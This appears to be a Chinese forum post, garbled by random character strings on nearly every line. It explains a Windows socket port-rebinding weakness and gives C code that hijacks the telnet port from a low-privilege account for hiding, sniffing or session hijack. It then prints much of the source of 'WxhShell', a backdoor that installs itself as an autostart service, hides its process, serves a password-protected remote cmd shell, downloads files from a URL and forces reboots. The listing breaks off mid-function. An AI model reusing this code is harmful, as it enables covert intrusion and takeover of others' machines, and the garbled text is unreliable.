在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Y%KowgP\ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
+A}t_u3< fap`;AuwK saddr.sin_family = AF_INET;
r w?wi}}gn 6jq*lnA% saddr.sin_addr.s_addr = htonl(INADDR_ANY);
aU!}j'5Q IZZAR bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
^'`b\$km-0 c4H6I~2Na 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
=7 l
uV_5 Y2`sL,'h 这意味着什么?意味着可以进行如下的攻击:
I dK*IA4 1&w%TRC2x 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
7^gO>2~ jPWONz(# 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
&*`dRIQ] IWv 9!lW 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
pN9 ! z?byNd8 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
VGS%U8; L!}!k N:? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
<ToS& $$9H1)Ny 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
[JOa^U= yGa0/o18!? 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
#(^<qr |AYii-g #include
4 &bmt #include
mskG2mA #include
4.O) /0sU #include
#C9f?fnM DWORD WINAPI ClientThread(LPVOID lpParam);
f_~T int main()
;hT3N UCA {
,/f\ WORD wVersionRequested;
U0&myj 8L DWORD ret;
l.}PxZ WSADATA wsaData;
]#o;`5' BOOL val;
hek+zloB+ SOCKADDR_IN saddr;
Rhc:szDU SOCKADDR_IN scaddr;
6n9/`D! int err;
kV'zAF
v SOCKET s;
*zdD4I= SOCKET sc;
"f91YX_) int caddsize;
v=k+MvX HANDLE mt;
i}m'#b DWORD tid;
d{fd5jv; wVersionRequested = MAKEWORD( 2, 2 );
lR?y
tIY err = WSAStartup( wVersionRequested, &wsaData );
+hRy{Ps/ if ( err != 0 ) {
2E*=EjGV printf("error!WSAStartup failed!\n");
8m+~HSIR return -1;
+SFFwjI }
k4{!h?h saddr.sin_family = AF_INET;
e{x>u( b|i4me@ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
=xk>yw!O) FGVw=G{r saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
G&oD;NY@/ saddr.sin_port = htons(23);
m` 1dB%;? if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
z^9oaoTl {
o/-RGLzAo printf("error!socket failed!\n");
8m0*89HEu return -1;
[n"eD4 )K| }
Xt$qjtVM val = TRUE;
}3lG'Y#Kpy //SO_REUSEADDR选项就是可以实现端口重绑定的
)Xdq+$w. if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
v!I z&M:z {
)@!fLAT printf("error!setsockopt failed!\n");
!oH{=.w return -1;
}83
8F& }
.$\-{) //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
2J=`"6c //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
qJG;`Ugl: //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
d(^8#4
Bz'.7"
":0 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
P00G*iY~\ {
:Wbp|:N0 ret=GetLastError();
k|OM?\ printf("error!bind failed!\n");
Do4hg $:40 return -1;
kn:hxdZ }
NfDS6i.Fqp listen(s,2);
Zj[m while(1)
&$s:h5HoX {
lw3H
8[ caddsize = sizeof(scaddr);
zY/Oh9`=v //接受连接请求
xd{.\!q. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
i ;B^I8 if(sc!=INVALID_SOCKET)
5WI
bnV@ {
d>[i*u,]/ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
b36{vcs~ if(mt==NULL)
"rMfe>;FJ {
p&I>xu8fl printf("Thread Creat Failed!\n");
A.b^?k%I break;
y A5h^I }
:2j`NyLI. }
RQ=rB9~:ZN CloseHandle(mt);
U*+-# }
18X?CoM~ closesocket(s);
h1S)B|~8 WSACleanup();
(?Ko:0+* return 0;
Ucv7`W
gr }
h] ho? K DWORD WINAPI ClientThread(LPVOID lpParam)
;?u cC@ {
pj_W^,*/ SOCKET ss = (SOCKET)lpParam;
@PM<pEve SOCKET sc;
D2VYw<tEA unsigned char buf[4096];
|ru!C( SOCKADDR_IN saddr;
;?q(8^A long num;
u^xnOVE DWORD val;
UG\2wH_ DWORD ret;
ou0TKE9
_ //如果是隐藏端口应用的话,可以在此处加一些判断
TDw~sxtv& //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}@LIb<Y saddr.sin_family = AF_INET;
|6^a[x3/U saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Xr^ 5Th\ saddr.sin_port = htons(23);
rhLhFN{h if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{ccc[G?>.Q {
RF*>U a printf("error!socket failed!\n");
rOOo42YW` return -1;
yLf9cS6= }
!RJ@;S val = 100;
ItLR|LO9 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
l!}gWd,H {
Kz
b-a$ ret = GetLastError();
,m*HRUY return -1;
yl?LXc[) }
Q=!
lbW if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
> 3x^jh {
^+-QY\N
j ret = GetLastError();
Mxw-f4j return -1;
QeF:s|[ }
{;Hg1=cm if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
y#
\"yykB {
Lea4-Gc printf("error!socket connect failed!\n");
l`~$cK! closesocket(sc);
t>quY$}4 closesocket(ss);
6 wd return -1;
'{0O!y[H6 }
P'iX?+* while(1)
1<~n2} {
<mP_K^9c //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
0Gj/yra9MO //如果是嗅探内容的话,可以再此处进行内容分析和记录
j&dCP@G //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
()j)}F#Z` num = recv(ss,buf,4096,0);
,X|FyO(p if(num>0)
\4qF3# send(sc,buf,num,0);
rmBzLZ} else if(num==0)
=W2.Nc break;
27R4B
O num = recv(sc,buf,4096,0);
:$VGqvO12W if(num>0)
-J!n 7 send(ss,buf,num,0);
S7J.(;
82 else if(num==0)
D(Z#um8n break;
y}FG5'5$13 }
xN$V(ZX4 closesocket(ss);
fFVQu\ closesocket(sc);
/Gnt.%y& return 0 ;
{{gd}g }
k6DJ(.n'%a IM6n\EZ^ f4\F:YT ==========================================================
Q(x=;wf5r ;~
Xjk 下边附上一个代码,,WXhSHELL
[qxpu{ [jNVk3 ==========================================================
L$a{%]I u`B/ 9-K)y #include "stdafx.h"
c='W{47 Ib2&L #include <stdio.h>
m; =S]3P* #include <string.h>
b"@-9ke5I #include <windows.h>
nzxHd7NIZ #include <winsock2.h>
!p ~.Y+ #include <winsvc.h>
M`#g>~bI#R #include <urlmon.h>
-mO<(wfV> x-@?:P* #pragma comment (lib, "Ws2_32.lib")
6(\-aH'Ol #pragma comment (lib, "urlmon.lib")
G~_eBy ;[lLFI #define MAX_USER 100 // 最大客户端连接数
G,6`:l #define BUF_SOCK 200 // sock buffer
|CQjgI|; #define KEY_BUFF 255 // 输入 buffer
+R$;LtR k^JgCC+ #define REBOOT 0 // 重启
G@e;ms1 #define SHUTDOWN 1 // 关机
EhD% h`Ej>O7m #define DEF_PORT 5000 // 监听端口
QHXpX9 _eQ-'") #define REG_LEN 16 // 注册表键长度
b* n#XTV #define SVC_LEN 80 // NT服务名长度
MS2/<LD3d wBI:}N@. // 从dll定义API
IN;!s#cl: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
>f9Q&c$R typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
CXu$0DQ( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Ac*)z#H typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Grw[h 9]chv>dO)= // wxhshell配置信息
W7s struct WSCFG {
@w%kOX int ws_port; // 监听端口
\Rt>U|% char ws_passstr[REG_LEN]; // 口令
f[`&3+ int ws_autoins; // 安装标记, 1=yes 0=no
~6u|@pnI char ws_regname[REG_LEN]; // 注册表键名
?TDmW8G}J char ws_svcname[REG_LEN]; // 服务名
g
C8deC8 char ws_svcdisp[SVC_LEN]; // 服务显示名
iN Lt4F[i char ws_svcdesc[SVC_LEN]; // 服务描述信息
),o=~,v: char ws_passmsg[SVC_LEN]; // 密码输入提示信息
\/wk!mWV@ int ws_downexe; // 下载执行标记, 1=yes 0=no
S=L#8CID char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
hOqNZ66{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
,
P1m# J| 46i };
DDT]A<WUV lS2`#l > // default Wxhshell configuration
`LwZ(M-hI struct WSCFG wscfg={DEF_PORT,
_+~jZ]o
N "xuhuanlingzhe",
bLggh]Fh 1,
KI\
9) "Wxhshell",
'L1yFv
"Wxhshell",
djdSD "WxhShell Service",
D+BflI~9mP "Wrsky Windows CmdShell Service",
j9%vw.3b "Please Input Your Password: ",
H?=[9?1wI5 1,
C3<_0eI "
http://www.wrsky.com/wxhshell.exe",
w(Mi? "Wxhshell.exe"
6!U~dt#a };
E_z,%aD[ tnXW7ej ^ // 消息定义模块
!*wd
d8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
m KKa0" char *msg_ws_prompt="\n\r? for help\n\r#>";
-&y&b- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
527u d^: char *msg_ws_ext="\n\rExit.";
c!$~_?] char *msg_ws_end="\n\rQuit.";
1JGww]JZo char *msg_ws_boot="\n\rReboot...";
{v3@g[:| char *msg_ws_poff="\n\rShutdown...";
MzW!iG char *msg_ws_down="\n\rSave to ";
~vZ1.y4 85H*Xm?d# char *msg_ws_err="\n\rErr!";
zs-,Y@ZL char *msg_ws_ok="\n\rOK!";
C0>)WVCK 5tVg++I char ExeFile[MAX_PATH];
"LZv\c~v,% int nUser = 0;
3\B~`=*q/ HANDLE handles[MAX_USER];
LKud' int OsIsNt;
!?B2OE @nj`T{*. SERVICE_STATUS serviceStatus;
&4p~i Z SERVICE_STATUS_HANDLE hServiceStatusHandle;
gF M~M( ;UQ&yj%x // 函数声明
'
b,zE[Q int Install(void);
eYg0NEq{ int Uninstall(void);
iqTmgE- int DownloadFile(char *sURL, SOCKET wsh);
H M\}C.u int Boot(int flag);
[}l
1`> void HideProc(void);
?zXlLud8 int GetOsVer(void);
.6i +_B| int Wxhshell(SOCKET wsl);
NCx)zJ\S void TalkWithClient(void *cs);
- :x6X$= int CmdShell(SOCKET sock);
Pv$O=N6- int StartFromService(void);
#/K71Y int StartWxhshell(LPSTR lpCmdLine);
xAf?E%_pi Nu; 9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Z3 na .>Z VOID WINAPI NTServiceHandler( DWORD fdwControl );
erV&N,cI $O9#4A; // 数据结构和表定义
M[Jy?b) SERVICE_TABLE_ENTRY DispatchTable[] =
!;U}ax;AF {
*pGbcBQ {wscfg.ws_svcname, NTServiceMain},
y(r(q {NULL, NULL}
~HX'8\5 };
Ed"p|5~ ;uU 8$ // 自我安装
.!1E7\ int Install(void)
CakB`q(8 {
<*4r6UFR char svExeFile[MAX_PATH];
VC NQ}h[D HKEY key;
3_Re>i strcpy(svExeFile,ExeFile);
'p,54<e L3C'q // 如果是win9x系统,修改注册表设为自启动
sGJZG if(!OsIsNt) {
)9rJ]D^B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
g^2H(}frc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
["Jt2 RegCloseKey(key);
A@ G%*\UZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
mLeK7?GL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
VSm{]Z!x RegCloseKey(key);
GplEad
$ return 0;
14Jkr)N }
w5Yt mnP }
xNxSgvco, }
Z
uO
7N else {
$,7Yo
nc !*-|s}e // 如果是NT以上系统,安装为系统服务
Jpo(O>\P SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
NFb<fD[C if (schSCManager!=0)
%t,Fxj4F {
0a's[>-'A SC_HANDLE schService = CreateService
Dn.%+im-u (
ca$K)=cDW schSCManager,
A!`Q[%$ wscfg.ws_svcname,
EYKV}` wscfg.ws_svcdisp,
RMxFo\TK; SERVICE_ALL_ACCESS,
K!SFS SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
+C[%^G-: SERVICE_AUTO_START,
O>2i)M-h9x SERVICE_ERROR_NORMAL,
RZ:='; svExeFile,
&B ^LaRg NULL,
-xU4s NULL,
,tHV
H7[ NULL,
6t`cY NULL,
)ocr.wU@ NULL
_2S(
* );
;XGO@*V5T if (schService!=0)
^/$bd4,z {
0\yA6`}! CloseServiceHandle(schService);
+Rd;>s*.Y CloseServiceHandle(schSCManager);
a.s5>:Ct strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
g,5Tr_ strcat(svExeFile,wscfg.ws_svcname);
zM|Y
X< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
C.9l${QU RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ABnJ{$=n# RegCloseKey(key);
%pImCpMR return 0;
Vqxxm&^P }
GUqBnRA8j }
@L5s.]vg= CloseServiceHandle(schSCManager);
GA"zO, }
F]KAnEf }
xU;;@9X _air'XQ&! return 1;
7,EdJ[CR$ }
Ya-kMUW D1f}g // 自我卸载
w|8T6W|w int Uninstall(void)
ORo,.#< {
L+2<J,
HKEY key;
rl](0"Y0
t 6Y&`mgMF' if(!OsIsNt) {
jZ> x5 W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
F>[T)t{m= RegDeleteValue(key,wscfg.ws_regname);
y` 6!Vj l RegCloseKey(key);
4jdP3Q/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
BBlYy5x RegDeleteValue(key,wscfg.ws_regname);
^;a~_9
m- RegCloseKey(key);
{Z(kzJwN return 0;
tsN,yI]-VA }
Z+G/==%3#, }
(E]q>'X }
~~X-$rtU else {
i5jsM\1j [^2c9K^NK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
0hM!#BU5K if (schSCManager!=0)
o0:RsODl {
L/2,r*LNx$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Ipyr+7/zJ if (schService!=0)
fy|$A@f
{
vKmV<*K if(DeleteService(schService)!=0) {
%oHK=],|1 CloseServiceHandle(schService);
`0Bk@B[> CloseServiceHandle(schSCManager);
Vo8gLX]a return 0;
)>U7+ Me }
MC;2.e` CloseServiceHandle(schService);
E8]kd }
k?;B1D8-n CloseServiceHandle(schSCManager);
j NkobJ1 }
YzVhNJWpw }
![j?/376 ;30SnR/ return 1;
nb_$g@ 03 }
VQwF9Iq]` Z=j6c" // 从指定url下载文件
o3=pxU* int DownloadFile(char *sURL, SOCKET wsh)
=WM^i86 {
JBt2R= HRESULT hr;
2nkymEPu
char seps[]= "/";
QSSA) char *token;
T?HW=v_a char *file;
r6gfxW5 char myURL[MAX_PATH];
=C 7 WQ char myFILE[MAX_PATH];
LeaJ).Maw +Fa!<txn strcpy(myURL,sURL);
^c| _%/ token=strtok(myURL,seps);
u4vyj#V while(token!=NULL)
uJ
T^=Y {
omzG/)M:O file=token;
K26`wt token=strtok(NULL,seps);
x
?24oO }
1U6z2i+y _kXq0~ GetCurrentDirectory(MAX_PATH,myFILE);
K$/&C:,Q strcat(myFILE, "\\");
&$g{i:)Z strcat(myFILE, file);
;7E
c'nC4 send(wsh,myFILE,strlen(myFILE),0);
2xK v; send(wsh,"...",3,0);
V;29ieE! hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
3>QkO.b if(hr==S_OK)
#%7)a; ' return 0;
(5a:O (\r else
'M!M$<j return 1;
/odDJxJ
k WT63ve }
03H0(ku= n#^ii/H // 系统电源模块
%%FzBbWAO int Boot(int flag)
HT
."J {
Q|xa:`3? HANDLE hToken;
7z q@T] TOKEN_PRIVILEGES tkp;
Kv9Z.DY i936+[ if(OsIsNt) {
V:h7}T95 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
O',Vce$ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
% 'OY tkp.PrivilegeCount = 1;
_Wqy,L;J tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
;2 P AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
}`.d4mm if(flag==REBOOT) {
{$g3R@f^~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
AVi&cvhs return 0;
nvQTJ4,, }
l"-Z#[ else {
o$Ju\(Y$<+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
m~0Kos%^*b return 0;
! k 1 Ge+ }
d}Q%I }
pO92cGJ8 else {
LU/;`In if(flag==REBOOT) {
Wh)!Ha} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
f@[qS7ok return 0;
R$X~d8o>% }
+pRNrg?k else {
A `{hKS if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
}O Y/0p-Z return 0;
X,{ 3_ }
ALj~e#{;z }
&`oybm-p( TV=K3F5)M return 1;
McpQ7\*h }
ocu,qL)W m?kyAW'| // win9x进程隐藏模块
B"8jEYT5 void HideProc(void)
T'{9!By,P {
k/(]1QnW NfUt\ p* HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
,u>[cRqw if ( hKernel != NULL )
Ec2;?pvd%J {
4*&k~0#t pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
V';l H2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
d6W\
\6V FreeLibrary(hKernel);
7[PEiAI }
A=3L_
#nO :bm%f%gg return;
vA}_x7}n( }
|kP utB u"4B5D // 获取操作系统版本
Evd|_ W- int GetOsVer(void)
cPv(VjS1; {
bf|ePGW? OSVERSIONINFO winfo;
hD=.rDvO winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
|c^ ?tR< GetVersionEx(&winfo);
1jej7p>K if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
. P+Qu
return 1;
MqJ5|C.q else
t1]/Bw`j/ return 0;
Vd(n2JMtG }
Nte$cTjX 9z..LD( // 客户端句柄模块
ES?*w@x int Wxhshell(SOCKET wsl)
?w+ V:D {
_ OC@J*4. SOCKET wsh;
BlQX$s] struct sockaddr_in client;
zCuB+r=C DWORD myID;
`CI_zc=jx 2;u
i'B while(nUser<MAX_USER)
aydNSgu {
^H&U_ int nSize=sizeof(client);
>
K?OsvX wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
] |nW if(wsh==INVALID_SOCKET) return 1;
R3;%eyu
lPI~5N8 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
"?.#z]'] if(handles[nUser]==0)
4M|uT
9- closesocket(wsh);
1Dl6T\20 else
"i\#L`TkzX nUser++;
A&bj l[s }
|-G2 pu; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
4e Y?#8 !nCq8~# return 0;
N-]/MB8 }
W"^ =RY "L:4 7!8 // 关闭 socket
&iVdqr1, void CloseIt(SOCKET wsh)
2 U]d1 {
r34MDUZdI closesocket(wsh);
Id##367R nUser--;
#
)y/aA ExitThread(0);
[ r8 ZAS }
U!`iKy- B+snHabS6 // 客户端请求句柄
!TJ,:c]4{! void TalkWithClient(void *cs)
0'fswa) {
XS">`9o! kJp~'\b SOCKET wsh=(SOCKET)cs;
tw>2<zmSi% char pwd[SVC_LEN];
{X&lgj char cmd[KEY_BUFF];
80wzn,o
S char chr[1];
&8z<~q int i,j;
qQi\/~Y[: 4]uj+J while (nUser < MAX_USER) {
eM:J_>7t Iz5NA0[=2 if(wscfg.ws_passstr) {
_BmObXOp. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
b.@a,:" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{VE
h@yn //ZeroMemory(pwd,KEY_BUFF);
z.!N|"4yr i=0;
Pps-,*m while(i<SVC_LEN) {
{@^;Nw%J B+j]C$8} // 设置超时
<ZF|2 fd_set FdRead;
<"J]u@| struct timeval TimeOut;
dy&UF,l6 FD_ZERO(&FdRead);
U8w_C\Q FD_SET(wsh,&FdRead);
E5d$n*A TimeOut.tv_sec=8;
Z0jgUq`r TimeOut.tv_usec=0;
B-R#?Xn:!I int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
sa(.Anmlj if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
`;E/\eG"
M .b8 -`V if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
4
"HX1qP pwd
=chr[0]; *iEtXv
if(chr[0]==0xd || chr[0]==0xa) { a+E&{pV
pwd=0; Ki2!sADd
break; AQlB_@ b
} &(rWl`eTY`
i++; i(^U<DW$
} &$F<]]&
Jpj=d@Of70
// 如果是非法用户,关闭 socket GWnIy6TH l
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zKO7`.*
} D j&~x
kg[%Q]]
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /Hyz]46
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^Tm`motzh
s|]g@czan
while(1) { DAB9-[y+
[|DKBJ
ZeroMemory(cmd,KEY_BUFF); 8AuBs;i
]
3"t]U'f
// 自动支持客户端 telnet标准 c+9L6}D
j=0; 2}r=DAe0
while(j<KEY_BUFF) { U]iI8c
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QO/0VB42
cmd[j]=chr[0]; 50W+!'
if(chr[0]==0xa || chr[0]==0xd) { ["Ltqgx
cmd[j]=0; 2T~cOH;T
break; CWn\KR
} sU ZA!sv
j++; EiL#Dwx
} Y$ys4X
*?rWS"B
// 下载文件 qd*}d)!
if(strstr(cmd,"http://")) { $*fJKR_N
send(wsh,msg_ws_down,strlen(msg_ws_down),0); xH-d<Ht,7
if(DownloadFile(cmd,wsh)) QF#w$%7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3@>F-N
else h[ DNhR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T{k
P9
4
} <v:VA!]
else { 5ilGWkb`'X
?Z7`TnG$uf
switch(cmd[0]) { QJGGce
3!"N;Q"
// 帮助 9\?OV@
case '?': { B `~EA] d
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^Xk!wJ
break; I&;>(@K
} U(#<D7}
// 安装 {ez$kz
case 'i': { `>g G"1,]
if(Install())
wA"@t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \<4N'|:
else e1m?g&[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t'eqk#rq
break; { mi}3/
} SB_Tzp
// 卸载 {PHH1dC{
case 'r': { "|SMRc
if(Uninstall()) tE7jTe
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m&UP@hUV-
else L"bOc'GfQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); liKlc]oM
break; eUyF<j
} N:1aDr;
// 显示 wxhshell 所在路径 Kg[OUBv
case 'p': { 'wND
char svExeFile[MAX_PATH]; .DCHc,DxA
strcpy(svExeFile,"\n\r"); 0#,a#P
strcat(svExeFile,ExeFile); 3Vb4zZsl
send(wsh,svExeFile,strlen(svExeFile),0); > H!sD\b
break; b_0THy.Z
} Xz+%Ym
// 重启 *o6}>;
case 'b': { e~o!Qm
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AjC:E+g
if(Boot(REBOOT)) :t}\%%EbmE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b\k]Jx
else { )pB#7aEw
closesocket(wsh); P6:9o}K6
ExitThread(0); |Wh3a#
} oaY_6
break; ;O"?6d0
} f-ltV<C_
// 关机 3[YG
BM(
case 'd': { @T'^V0!-q:
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t un}rdb
if(Boot(SHUTDOWN)) Ot=jwvw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #@XBHJD\#
else { dGIdSQ~ _
closesocket(wsh); Rn1oD3w
ExitThread(0); .Ro/ioq
} LD$5KaOW
break; Z*,e<zNQ
} Av X1*
// 获取shell N'Gq9A
case 's': { XHr*Rs.[=
CmdShell(wsh); w+M/VsL
closesocket(wsh); {!"UBALxc
ExitThread(0); *$tXm4
O[
break; 3<0b_b
} )DSeXS[
e
// 退出 (`x_MTLL
case 'x': { 6#=jF[
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *Rgr4-eS
CloseIt(wsh); -9Q(3$}
break; aO6\e>
} LU1I
`E
// 离开 h<9s&
p
case 'q': { jUe@xis<T
send(wsh,msg_ws_end,strlen(msg_ws_end),0); o2/:e
closesocket(wsh); s\*L5{kiSl
WSACleanup(); 4>JSZ6i#n
exit(1); KkvcZs'4m
break; 7- B.<$uC
} <I+k B^ Er
} dbp\tWaW
} :6n#y-9^1
o+A7hBM^
// 提示信息 mw@Pl\=
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ltlp9 S
} /<LZt<K
} nL@'??I1
XJ18(Q|w'
return; K$"#SZEi
} Ayz*2N`%
> I2rj2M#
// shell模块句柄 S|85g1}t
int CmdShell(SOCKET sock) *t@A-Sn
{ y Zafq"o
STARTUPINFO si; vygzL U^
ZeroMemory(&si,sizeof(si)); ' \JE>#
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GO"`{|o
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; > p`,
PROCESS_INFORMATION ProcessInfo; mH o#"tc
char cmdline[]="cmd"; ,7{|90'V<
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S?J!.(
return 0; 0w?da~
} M4^G3c<
q<3nAE$?=
// 自身启动模式 CM6% g f3
int StartFromService(void) 144Y.
{ AdX))xgl
typedef struct OO:S2-]Y>e
{ uLhGp@Dx
DWORD ExitStatus; Od1\$\4Z
DWORD PebBaseAddress; Sj+H{xJi
DWORD AffinityMask; g4K+AK
